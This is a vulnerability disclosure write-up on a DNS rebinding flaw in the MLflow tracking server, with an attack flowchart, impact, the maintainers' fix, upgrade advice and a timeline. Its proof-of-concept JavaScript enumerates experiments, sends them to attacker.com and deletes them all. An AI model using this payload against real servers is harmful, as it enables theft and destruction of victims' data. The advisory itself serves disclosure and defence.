Data Exfiltration and Destruction in MLflow via Missing Origin Validation (DNS Rebinding)
Author: Evan Harris
Risk: High (CVSS 8.1, CVE-2025-14279)
Affected Component: MLflow REST server (mlflow/mlflow), versions up to and including 3.4.0
TL;DR
The MLflow REST server did not validate the Origin or Host header on incoming requests, leaving it open to DNS rebinding. A victim who runs mlflow server locally and then visits a malicious website can have their browser turned into a proxy that reaches the loopback interface, bypassing the Same-Origin Policy. With no authentication on the REST API, the attacker gains full read and write access: they can enumerate experiments, exfiltrate the data to an external host, and delete experiments outright. The issue was assigned CVE-2025-14279 (CVSS 8.1, High) and fixed in MLflow 3.5.0, which adds Host-header validation and cross-origin request blocking. Users should upgrade to 3.5.0 or later.
Background
MLflow’s tracking server exposes a REST API (commonly on http://localhost:5000) that the web UI and client libraries use to create, search, update, and delete experiments and runs. By default the server runs without authentication, on the assumption that binding to localhost keeps it private.
That assumption breaks under DNS rebinding. The browser’s Same-Origin Policy is supposed to stop a page served from attacker.com from reading responses from localhost:5000, but rebinding sidesteps it by changing what a hostname resolves to after the page has loaded. Because the MLflow server accepted requests without checking where they originated, any website the victim visited could drive the local API.
Overview
%%{init: {'themeVariables': {'fontSize': '18px'}}}%%
flowchart TD
A[Victim visits attacker site
hostname resolves to attacker IP] --> B[Attacker serves JS payload
polling for MLflow on localhost:5000]
B --> C[Attacker DNS server rebinds
the hostname to 127.0.0.1
low TTL]
C --> D[Browser reuses the origin string
but fetch now hits the victim's
loopback interface]
D --> E[MLflow server does not validate
Origin or Host, so it accepts
the cross-origin request]
E --> F["Enumerate experiments
/api/2.0/mlflow/experiments/search"]
F --> G[Exfiltrate experiment data
to attacker.com]
F --> H["Delete experiments
/ajax-api/2.0/mlflow/experiments/delete"]
style A fill:#fff3e0
style B fill:#ffebee
style C fill:#ffebee
style D fill:#ffebee
style E fill:#fff9c4
style F fill:#fff9c4
style G fill:#ffcdd2
style H fill:#ffcdd2
Attack Scenario
- The victim clones MLflow and runs the server locally with the default configuration (
mlflow server), generating some experiments along the way. - The attacker stands up a DNS rebinding lab, for example NCC Group’s Singularity of Origin, and drops the payload below into the framework’s payloads directory.
- The victim visits the attacker’s website and stays on the page long enough (under a minute) for the rebind to occur.
- The attacker’s DNS server first resolves the hostname to its own IP so the payload loads, then answers later queries with
127.0.0.1. The browser reuses the cached name, so the page’sfetchcalls silently pivot tolocalhost:5000while keeping the original origin. - Because the MLflow server performs no Origin or Host validation, the requests succeed. The attacker enumerates experiments, ships the data to
attacker.com, and deletes the experiments.
Proof of Concept
The payload below registers with a DNS rebinding framework. It fingerprints the target as an MLflow server, enumerates experiments through the unauthenticated REST API, exfiltrates the results to an attacker-controlled host, and then deletes each experiment. The original proof of concept is condensed here to its functional steps.
const MlFlow = () => {
let attackExecuted = false;
async function attack() {
if (attackExecuted) return;
const base = `http://${window.location.hostname}:5000`;
// Read access: enumerate experiments via the unauthenticated REST API
const searchResponse = await fetch(`${base}/api/2.0/mlflow/experiments/search`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ order_by: ["creation_time DESC"], max_results: 50 }),
});
const { experiments } = await searchResponse.json();
if (!experiments?.length) { attackExecuted = true; return; }
// Exfiltrate the experiment data to the attacker
fetch('https://attacker.com/messages', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ experimentData: experiments }),
});
// Write access: delete every experiment
for (const experiment of experiments) {
await fetch(`${base}/ajax-api/2.0/mlflow/experiments/delete`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ experiment_id: experiment.experiment_id }),
});
await new Promise(r => setTimeout(r, 500));
}
attackExecuted = true;
}
// Fingerprint the rebound target as an MLflow server before attacking
async function isService() {
const response = await fetch(`http://${window.location.hostname}:5000`);
const body = await response.text();
return body.includes('MLflow') || body.includes('Unable to display MLflow UI');
}
return { attack, isService };
};
// Register the payload with the DNS rebinding framework
Registry["MlFlow"] = MlFlow();
Impact
- Data exfiltration: experiment metadata is read through
experiments/searchand shipped to an attacker-controlled host. - Data destruction: experiments are deleted through
experiments/delete. - Data manipulation: the same unauthenticated write access permits update operations against experiments.
- No credentials required: the attack works against a default
mlflow serverdeployment, needing only that the victim visit a malicious page while the server is running.
MLflow Response
After we disclosed the issue through MLflow’s coordinated disclosure process, the maintainers addressed it in pull request #17910.
The fix introduces a security middleware layer for the server that:
- Validates the
Hostheader against an allowlist (localhost and private IP ranges by default) to block DNS rebinding. - Blocks state-changing cross-origin requests (POST, PUT, DELETE, PATCH) from non-localhost origins.
- Adds defensive response headers (
X-Frame-Options: SAMEORIGIN,X-Content-Type-Options: nosniff).
New configuration is available for deployments that legitimately need broader access, including --allowed-hosts (MLFLOW_SERVER_ALLOWED_HOSTS) and --cors-allowed-origins (MLFLOW_SERVER_CORS_ALLOWED_ORIGINS). The protections shipped in MLflow 3.5.0, and the issue was later assigned CVE-2025-14279 (CVSS 8.1, High; CWE-346, Origin Validation Error).
Recommendations
For End Users
- Upgrade to MLflow 3.5.0 or later.
- Keep the default
--allowed-hostsand--cors-allowed-originssettings unless you have a specific reason to widen them, and never disable the security middleware on an exposed server. - Do not bind the MLflow server to a public or untrusted network, and put authentication or a reverse proxy in front of it if it must be reachable beyond localhost.
- Treat a locally bound server as reachable from the browser: close or isolate local MLflow instances when browsing untrusted sites.
Timeline
| Date | Event |
|---|---|
| September 22, 2025 | Vulnerability reported to MLflow maintainers via coordinated disclosure (issue #17877) |
| October 6, 2025 | MLflow merges fix (PR #17910), released in v3.5.0 |
| January 12, 2026 | CVE-2025-14279 published (CVSS 8.1, High) |
| June 8, 2026 | Public disclosure |
Stay Ahead of AI Security Threats
Get exclusive insights on AI agent vulnerabilities, MCP security research, and critical advisories delivered to your inbox.
No spam. Unsubscribe anytime.